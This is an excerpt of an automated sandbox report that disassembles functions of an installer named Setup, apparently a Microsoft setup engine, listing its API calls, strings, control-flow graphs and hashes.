                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw$std::exception::exception$DispatcherExceptionUser_malloc
                    • String ID: $<$A helper with this name already exists. All helper names must be unique. : $ActionTable$ApplicableIf$Cannot create the helper item: $CommandLine$InstalledProductSize$IsPresent$Name$ParameterInfo.xml$Patches$SystemDriveSize
                    • API String ID: 2177076360-1307745120
                    • Opcode ID: 85f8c1278f18c4b28c2ecd73b745e94aef8024d695de490175e890eec74e1986
                    • Instruction ID: 8192af3f49f43502b71cf51a4e6ba54e65967f2532ff0c48734556c5fc58ac8f
                    • Opcode Fuzzy Hash: 85f8c1278f18c4b28c2ecd73b745e94aef8024d695de490175e890eec74e1986
                    • Instruction Fuzzy Hash: 6E523B71D01289DFDF00CFE8C944BEEBBB8AF09318F244159E514BB690D7759A49CBA2
                    Function 6CB9293D Relevance: 26.7, APIs: 2, Strings: 13, Instructions: 416COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 2322 6cb9293d-6cb92982 call 6cbe6e1a call 6cbb833e * 2 2329 6cb9298a-6cb929ae call 6cb89411 call 6cb92677 2322->2329 2330 6cb92984-6cb92986 2322->2330 2335 6cb929b0-6cb929b2 2329->2335 2336 6cb929b6-6cb929fc call 6cbd8f0e call 6cbb833e * 2 2329->2336 2330->2329 2335->2336 2343 6cb929fe-6cb92a00 2336->2343 2344 6cb92a04-6cb92a2c call 6cb89411 call 6cb92677 2336->2344 2343->2344 2349 6cb92a2e-6cb92a30 2344->2349 2350 6cb92a34-6cb92a7a call 6cbd8f0e call 6cbb833e * 2 2344->2350 2349->2350 2357 6cb92a7c-6cb92a7e 2350->2357 2358 6cb92a82-6cb92aaa call 6cb89411 call 6cb92677 2350->2358 2357->2358 2363 6cb92aac-6cb92aae 2358->2363 2364 6cb92ab2-6cb92ac4 call 6cbd8f0e 2358->2364 2363->2364 2367 6cb92aca-6cb92ae8 call 6cbb833e 2364->2367 2368 6cb92e05-6cb92e0d call 6cbe6f06 2364->2368 2373 6cb92aea-6cb92aec 2367->2373 2374 6cb92af0-6cb92b23 call 6cb889b7 call 6cbd8f0e call 6cbb833e 2367->2374 2373->2374 2381 6cb92b2b-6cb92b4f call 6cb892d1 call 6cbb833e 2374->2381 2382 6cb92b25-6cb92b27 2374->2382 2387 6cb92b51-6cb92b53 2381->2387 2388 6cb92b57-6cb92b7b call 6cb892d1 call 6cbb833e 2381->2388 2382->2381 2387->2388 2393 6cb92b7d-6cb92b7f 2388->2393 2394 6cb92b83-6cb92b8c call 6cb892d1 2388->2394 2393->2394 2397 6cb92b8e-6cb92b90 2394->2397 2398 6cb92c05 2394->2398 2399 6cb92cc1 2397->2399 2400 6cb92b96-6cb92b98 2397->2400 2401 6cb92c0b-6cb92c0e 2398->2401 2402 6cb92cbf 2398->2402 2407 6cb92d62 2399->2407 2408 6cb92cc7-6cb92cca 2399->2408 2403 6cb92b9e-6cb92bfc call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e * 2 call 6cb8a378 2400->2403 2404 6cb92d64 2400->2404 2405 6cb92c10-6cb92c4e call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e 2401->2405 2406 6cb92c73-6cb92c79 2401->2406 2402->2399 2482 6cb92bff-6cb92c00 call 6cbe14aa 2403->2482 2404->2368 2411 6cb92d6a-6cb92d6d 2404->2411 2469 6cb92c52-6cb92c71 call 6cbd8f0e call 6cb8a378 2405->2469 2406->2402 2409 6cb92c7b-6cb92cbd call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e 2406->2409 2407->2404 2413 6cb92ccc-6cb92d0e call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e 2408->2413 2414 6cb92d13-6cb92d19 2408->2414 2409->2469 2417 6cb92d6f-6cb92dad call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e 2411->2417 2418 6cb92db6-6cb92dbc 2411->2418 2413->2469 2414->2407 2420 6cb92d1b-6cb92d59 call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e 2414->2420 2417->2418 2418->2368 2422 6cb92dbe-6cb92dfc call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e 2418->2422 2420->2407 2422->2368 2469->2482 2482->2398
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB92944
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB92677: __EH_prolog3.LIBCMT ref: 6CB9267E
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    • __CxxThrowException@8.LIBCMT ref: 6CB92C00
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$DispatcherExceptionException@8ThrowUser
                    • String ID: 8$Blockers$ParameterInfo.xml$StopBlockers$SuccessBlockers$WarnBlockers$schema validation failure: More than 1 Stop Block defined.$schema validation failure: More than 1 Success Block defined.$schema validation failure: More than 1 Warning Block defined.$schema validation failure: Stop blockers has no child node$schema validation failure: Success blockers has no child node$schema validation failure: Warn blockers has no child node$schema validation failure: no valid child element found for 'Blockers' node.
                    • API String ID: 3417717588-4180151753
                    • Opcode ID: 5642fb48833ca8f15b093e49ea667d70a00cd2ce98619673d1a2dc12435509e3
                    • Instruction ID: b96d6f37aae9e96bb7a4b3da36deea6fa509db6c7cb03dc9e7fa9d48dae97773
                    • Opcode Fuzzy Hash: 5642fb48833ca8f15b093e49ea667d70a00cd2ce98619673d1a2dc12435509e3
                    • Instruction Fuzzy Hash: 16F16471D05189EBCF04DBE8C944AEE7BB8AF06358F148169F114E7B81DB35DA09CB62
                    Function 6E0C2C9B Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 295memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 2484 6e0c2c9b-6e0c2ccc 2485 6e0c2cce-6e0c2cd4 2484->2485 2486 6e0c2cda-6e0c2cdd 2484->2486 2485->2486 2487 6e0d1464-6e0d146e 2485->2487 2488 6e0d1491-6e0d149b 2486->2488 2489 6e0c2ce3-6e0c2ce5 2486->2489 2490 6e0d1487-6e0d148c 2487->2490 2491 6e0d1470-6e0d1473 2487->2491 2492 6e0d14a1-6e0d14a5 2488->2492 2493 6e0c2dd1 2488->2493 2494 6e0c3b28-6e0c3b5d memset call 6e0c18e5 2489->2494 2495 6e0c2ceb-6e0c2ced 2489->2495 2497 6e0c2dd3-6e0c2de1 call 6e0c171f 2490->2497 2491->2490 2496 6e0d1475-6e0d1482 call 6e0d5f11 2491->2496 2492->2493 2498 6e0d14ab-6e0d14bd call 6e0d5f11 2492->2498 2493->2497 2515 6e0d14c2-6e0d14ce 2494->2515 2516 6e0c3b63-6e0c3b7d OpenFileMappingW 2494->2516 2500 6e0d160c-6e0d1616 2495->2500 2501 6e0c2cf3-6e0c2d0f VirtualAlloc 2495->2501 2496->2490 2498->2493 2508 6e0d1618-6e0d161c 2500->2508 2509 6e0d1630 2500->2509 2506 6e0c2d15 2501->2506 2507 6e0d15a7-6e0d15b1 2501->2507 2517 6e0c2d1f-6e0c2d2f 2506->2517 2511 6e0d1550-6e0d155a GetLastError 2507->2511 2512 6e0d15b3-6e0d15b7 2507->2512 2508->2509 2518 6e0d161e-6e0d1623 2508->2518 2510 6e0d1635-6e0d163a 2509->2510 2519 6e0d163c-6e0d1642 2510->2519 2520 6e0d165f-6e0d1665 2510->2520 2522 6e0d15fa-6e0d160a GetLastError 2511->2522 2523 6e0d1560-6e0d1564 GetLastError 2511->2523 2512->2511 2521 6e0d15b9-6e0d15c4 2512->2521 2524 6e0d14e9-6e0d14ee 2515->2524 2525 6e0d14d0-6e0d14d4 2515->2525 2526 6e0d14f3-6e0d14f5 2516->2526 2527 6e0c3b83-6e0c3b85 2516->2527 2517->2493 2528 6e0c2d35-6e0c2d57 call 6e0c2a40 VirtualAlloc 2517->2528 2529 6e0d1625-6e0d162b call 6e0d5f11 2518->2529 2533 6e0d1644-6e0d164a UnmapViewOfFile 2519->2533 2534 6e0d1650-6e0d165d CloseHandle 2519->2534 2536 6e0d1667-6e0d167b VirtualFree 2520->2536 2537 6e0d16a1-6e0d16a7 2520->2537 2535 6e0d15c6-6e0d15d1 call 6e0d99f8 2521->2535 2522->2510 2523->2510 2524->2510 2525->2524 2538 6e0d14d6-6e0d14e4 call 6e0d99f8 2525->2538 2530 6e0c3bbe-6e0c3bd5 MapViewOfFile 2526->2530 2531 6e0d14fb-6e0d1505 2526->2531 2539 6e0c3b8b-6e0c3bae CreateFileMappingW 2527->2539 2540 6e0d1584-6e0d158e 2527->2540 2557 6e0c2d5d-6e0c2dce call 6e0c2de9 * 2 2528->2557 2558 6e0d15d6-6e0d15e0 2528->2558 2529->2509 2530->2517 2550 6e0c3bdb-6e0d1573 2530->2550 2531->2530 2543 6e0d150b-6e0d150f 2531->2543 2533->2534 2534->2537 2535->2511 2536->2537 2545 6e0d167d-6e0d1687 2536->2545 2537->2497 2538->2524 2547 6e0d152c-6e0d1536 2539->2547 2548 6e0c3bb4 2539->2548 2540->2509 2542 6e0d1594-6e0d1598 2540->2542 2542->2509 2552 6e0d159e-6e0d15a5 2542->2552 2543->2530 2553 6e0d1515-6e0d1527 call 6e0d5f11 2543->2553 2545->2537 2556 6e0d1689-6e0d168d 2545->2556 2547->2511 2554 6e0d1538-6e0d153c 2547->2554 2548->2530 2550->2511 2563 6e0d1575-6e0d1579 2550->2563 2552->2529 2553->2530 2554->2511 2560 6e0d153e-6e0d1543 2554->2560 2556->2537 2562 6e0d168f-6e0d169c call 6e0d5f11 2556->2562 2557->2493 2558->2511 2561 6e0d15e6-6e0d15ea 2558->2561 2567 6e0d1545-6e0d154b call 6e0d5f11 2560->2567 2561->2511 2568 6e0d15f0-6e0d15f8 2561->2568 2562->2537 2563->2511 2570 6e0d157b-6e0d1582 2563->2570 2567->2511 2568->2535 2570->2567
                    APIs
                    • VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,6E0C27B0,00000000,6E0E0088), ref: 6E0C2D01
                    • VirtualAlloc.KERNEL32(?,00000000,00001000,00000004,000003F8,00000000,?,?,?,?,6E0C27B0,00000000,6E0E0088), ref: 6E0C2D4F
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: AllocVirtual
                    • String ID: Local\SqmData_%s
                    • API String ID: 4275171209-1264235261
                    • Opcode ID: 15bcf3bafe7710a14c73d044d00e08e71f84e82564ab21d981fc360b1682ea01
                    • Instruction ID: c9b11db240d36e3170d5e5154fe1f06f98aa01d6c06782c69c560e66108667c8
                    • Opcode Fuzzy Hash: 15bcf3bafe7710a14c73d044d00e08e71f84e82564ab21d981fc360b1682ea01
                    • Instruction Fuzzy Hash: 18B1CD30100701DFDB948FE5CC84F6A77E6BB04B88F0084A8E969DB6A1EF75D88D8B55
                    Function 6CB8BB3C Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 260COMMON
                    Download Yara Rule

                    Control-flow Graph

                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB8BB43
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • __CxxThrowException@8.LIBCMT ref: 6CB8BDEB
                    Strings
                    • AdditionalCommandLineSwitches, xrefs: 6CB8BBA6
                    • BlockingMutex, xrefs: 6CB8BC9D
                    • DownloadInstallSetting, xrefs: 6CB8BC4B
                    • FilesInUseSetting, xrefs: 6CB8BCEF
                    • ParameterInfo.xml, xrefs: 6CB8BD6A
                    • Using Serial Download and Install mechanism, xrefs: 6CB8BDFA
                    • DisabledCommandLineSwitches, xrefs: 6CB8BB52
                    • UserExperienceDataCollection, xrefs: 6CB8BBF8
                    • schema validation failure: there must be a valid child element for Configuration., xrefs: 6CB8BD5C
                    • Using Simultaneous Download and Install mechanism, xrefs: 6CB8BE01
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: AdditionalCommandLineSwitches$BlockingMutex$DisabledCommandLineSwitches$DownloadInstallSetting$FilesInUseSetting$ParameterInfo.xml$UserExperienceDataCollection$Using Serial Download and Install mechanism$Using Simultaneous Download and Install mechanism$schema validation failure: there must be a valid child element for Configuration.
                    • API String ID: 2489616738-904804324
                    • Opcode ID: 62221fe11809847f7cf36b3550fe7ae50c94e62a647253550c4bfe101daf4c88
                    • Instruction ID: 400ed2dc46fc141b5d244b2c8505a5d6a9bca942e958339c39a6441aca82fb9c
                    • Opcode Fuzzy Hash: 62221fe11809847f7cf36b3550fe7ae50c94e62a647253550c4bfe101daf4c88
                    • Instruction Fuzzy Hash: D1A11C71901289AFCB00DFA8CD45AEEBBB9FF09314F144559F915A7781C735EA08CBA2
                    Function 6CB8787B Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 96registryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 2668 6cb8787b-6cb87898 call 6cbe6e1a 2671 6cb8789e-6cb878c0 RegOpenKeyExW 2668->2671 2672 6cb879a0-6cb879a8 call 6cbe6f06 2668->2672 2673 6cb87908-6cb8791b SHGetFolderPathW 2671->2673 2674 6cb878c2-6cb878ed RegQueryValueExW RegCloseKey 2671->2674 2677 6cb8791d-6cb8792e call 6cbdb8ad 2673->2677 2678 6cb8793e-6cb8798f call 6cb85d3f call 6cbb8e8b call 6cbd8f0e call 6cbdb927 GetFileAttributesW 2673->2678 2674->2673 2676 6cb878ef-6cb878fe GetFileAttributesW 2674->2676 2676->2673 2680 6cb87900-6cb87903 2676->2680 2677->2678 2685 6cb87930-6cb87936 GetFileAttributesW 2677->2685 2694 6cb87991 2678->2694 2695 6cb87995-6cb8799b call 6cbd8f0e 2678->2695 2680->2672 2685->2678 2687 6cb87938-6cb8793c 2685->2687 2687->2672 2694->2695 2695->2672
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB87882
                    • RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\PCHealth\ErrorReporting\DW\Installed,00000000,00020019,?,00000014,6CB8781A,?,6CBB831D,00000000), ref: 6CB878B2
                    • RegQueryValueExW.ADVAPI32(?,DW0200,00000000,00000000,?,?,?,6CBB831D,00000000), ref: 6CB878D8
                    • RegCloseKey.ADVAPI32(?,?,6CBB831D,00000000), ref: 6CB878E4
                    • GetFileAttributesW.KERNEL32(?,?,6CBB831D,00000000), ref: 6CB878F9
                    • SHGetFolderPathW.SHELL32(00000000,0000002B,00000000,00000000,?,?,6CBB831D,00000000), ref: 6CB8790E
                    • GetFileAttributesW.KERNEL32(?,?,6CBB831D,00000000), ref: 6CB87931
                    • GetFileAttributesW.KERNEL32(?,?,6CBB831D,00000000), ref: 6CB8798A
                    Strings
                    • \Microsoft Shared\DW\DW20.exe, xrefs: 6CB8791D
                    • Software\Microsoft\PCHealth\ErrorReporting\DW\Installed, xrefs: 6CB878A8
                    • DW0200, xrefs: 6CB878C9
                    • DW\DW20.exe, xrefs: 6CB8795E
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: AttributesFile$CloseFolderH_prolog3OpenPathQueryValue
                    • String ID: DW0200$DW\DW20.exe$Software\Microsoft\PCHealth\ErrorReporting\DW\Installed$\Microsoft Shared\DW\DW20.exe
                    • API String ID: 2337823764-2373061612
                    • Opcode ID: 76ff2d55279403eeba096b9089c931c861214cba555f5af13d970cee05a10009
                    • Instruction ID: 4176f75ba15478af75a5503fd463fbdb3b93cc4011ca6357aa5f25ae1d5560ec
                    • Opcode Fuzzy Hash: 76ff2d55279403eeba096b9089c931c861214cba555f5af13d970cee05a10009
                    • Instruction Fuzzy Hash: EB318370A0128DAFEF008BA5CC84BBFB6B9FF0531DF140619F520F6691D77489558BA2
                    Function 6CB900A7 Relevance: 19.5, APIs: 2, Strings: 9, Instructions: 277COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB900AE
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB8608: __wcsicoll.LIBCMT ref: 6CBB8626
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB88415: __EH_prolog3.LIBCMT ref: 6CB8841C
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    • __CxxThrowException@8.LIBCMT ref: 6CB9029D
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
                      • Part of subcall function 6CBB8D8B: __EH_prolog3.LIBCMT ref: 6CBB8D92
                      • Part of subcall function 6CBB8C7A: __EH_prolog3.LIBCMT ref: 6CBB8C81
                      • Part of subcall function 6CBB8C24: __EH_prolog3.LIBCMT ref: 6CBB8C2B
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$DispatcherExceptionException@8ThrowUser__wcsicoll
                    • String ID: has an unsupported operand: $ must have exactly 1 child node$BoolWhenNonExistent$LeftHandSide$ParameterInfo.xml$false$schema validation error: bad value for bool: $schema validation failure: $true
                    • API String ID: 644689650-2119370312
                    • Opcode ID: fd3841b5b64f56fcf996d9b2666f0b1392913e43f3d1335c64d202bcfc846a04
                    • Instruction ID: 4dd3fa81138521e0b9f11121fd98ec3fe98738b95ce1fc6382ded764de72219b
                    • Opcode Fuzzy Hash: fd3841b5b64f56fcf996d9b2666f0b1392913e43f3d1335c64d202bcfc846a04
                    • Instruction Fuzzy Hash: A0B16271901189EFCF00DBA8C944BEEBBB9AF09318F144555F515EB781DB31EA09CB62
                    Function 6CB95396 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 227memoryCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB9539D
                    • SysFreeString.OLEAUT32(?), ref: 6CB95420
                    • SysAllocString.OLEAUT32(6CBBFA6E), ref: 6CB95490
                    • __EH_prolog3.LIBCMT ref: 6CB954B8
                    • __CxxThrowException@8.LIBCMT ref: 6CB95540
                      • Part of subcall function 6CB88415: __EH_prolog3.LIBCMT ref: 6CB8841C
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    Strings
                    • W, xrefs: 6CB95530
                    • \LocalizedData.xml: should have atleast one 'Language' child element!, xrefs: 6CB95599
                    • //Setup/LocalizedData/Language, xrefs: 6CB953CC
                    • ParameterInfo.xml, xrefs: 6CB95565
                    • Unable to find Language element for LangID="%d" in localized data, xrefs: 6CB9551A
                    • Schema validation failure in file , xrefs: 6CB95575
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$String$AllocException@8FreeThrow
                    • String ID: //Setup/LocalizedData/Language$ParameterInfo.xml$Schema validation failure in file $Unable to find Language element for LangID="%d" in localized data$W$\LocalizedData.xml: should have atleast one 'Language' child element!
                    • API String ID: 191698298-1863159554
                    • Opcode ID: fdfef46cbb92935f4f54584608c58237c7941d516887e59f6f2dc15749584c91
                    • Instruction ID: 5e0f2317a5fca74ca136d89837a7c88849b333c2a708c6ce6ae72f60dc7dd8cc
                    • Opcode Fuzzy Hash: fdfef46cbb92935f4f54584608c58237c7941d516887e59f6f2dc15749584c91
                    • Instruction Fuzzy Hash: 8C915E71901189EFCF00DFE8C944AEEBBB9AF09319F244669E515EB780C731DA09CB65
                    Function 6CBA473C Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 210commemoryCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_catch.LIBCMT ref: 6CBA4746
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB8380: __EH_prolog3.LIBCMT ref: 6CBB8387
                      • Part of subcall function 6CB8388B: __EH_prolog3.LIBCMT ref: 6CB83892
                      • Part of subcall function 6CBA4464: __EH_prolog3.LIBCMT ref: 6CBA446B
                      • Part of subcall function 6CBA4682: __EH_prolog3.LIBCMT ref: 6CBA4689
                    • CoInitialize.OLE32(00000000), ref: 6CBA47F7
                    • CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,?,?,?,?,?,6CB83864,?,00000000,00000000,6CBBFA6E,00000738,IronMan::EngineData::CreateEngineData), ref: 6CBA4815
                      • Part of subcall function 6CBC9D05: GetCommandLineW.KERNEL32(564FE71B,?,00000000,ParameterInfo.xml,?,?,?,00000000,?,?,?,?,ParameterInfo.xml,?,00000000,?), ref: 6CBC9D54
                    • CoUninitialize.COMBASE(?,-00000960,00000000,?,?,succeeded,6CB7A794,?,?,?,?,6CB83864,?,00000000,00000000,6CBBFA6E), ref: 6CBA48ED
                    • SysFreeString.OLEAUT32(00000000), ref: 6CBA48F9
                    • SysAllocString.OLEAUT32(?), ref: 6CBA492E
                    • __CxxThrowException@8.LIBCMT ref: 6CBA49BE
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$String$AllocCommandCreateException@8FreeH_prolog3_catchInitializeInstanceLineThrowUninitialize
                    • String ID: IronMan::EngineData::CreateEngineData$ParameterInfo.xml$succeeded$threw exception
                    • API String ID: 1482071144-3644667230
                    • Opcode ID: 5d4dae1d87d19cf00b39b214418c2c90285b73946e2ffe29bcea55c884feddaf
                    • Instruction ID: cc7fb27ce93918db9542bb6cec9bc6d555eebb853294ab4acf57d3c995d7e80a
                    • Opcode Fuzzy Hash: 5d4dae1d87d19cf00b39b214418c2c90285b73946e2ffe29bcea55c884feddaf
                    • Instruction Fuzzy Hash: 78813871900289AFCF00DFE8C888ADE7BB9EF09318F148559F555EB641CB759A09CBA1
                    Function 6CBA4AD9 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 314COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA4AE0
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB889B7: __EH_prolog3.LIBCMT ref: 6CB889BE
                      • Part of subcall function 6CB889B7: __CxxThrowException@8.LIBCMT ref: 6CB88A89
                    • __CxxThrowException@8.LIBCMT ref: 6CBA4E3F
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: Blockers$Configuration$EnterMaintenanceModeIf$Items$ParameterInfo.xml$Setup$SystemCheck$schema validation failure: wrong number of child elements under top level Setup element
                    • API String ID: 2489616738-3586895666
                    • Opcode ID: b25d9fe6dd58bd2731176cded8cec8e9c9fb297e20ef830c70aa76cd025c93e7
                    • Instruction ID: ffe30a1022010c852b256481a42f920a1296bacff95334f40bad0980584e615b
                    • Opcode Fuzzy Hash: b25d9fe6dd58bd2731176cded8cec8e9c9fb297e20ef830c70aa76cd025c93e7
                    • Instruction Fuzzy Hash: B4C14F71905289AFCF00DBE8C944AEEBBB9EF09318F144559F425E7741CB35DA09CB62
                    Function 6CB96440 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 236COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB96447
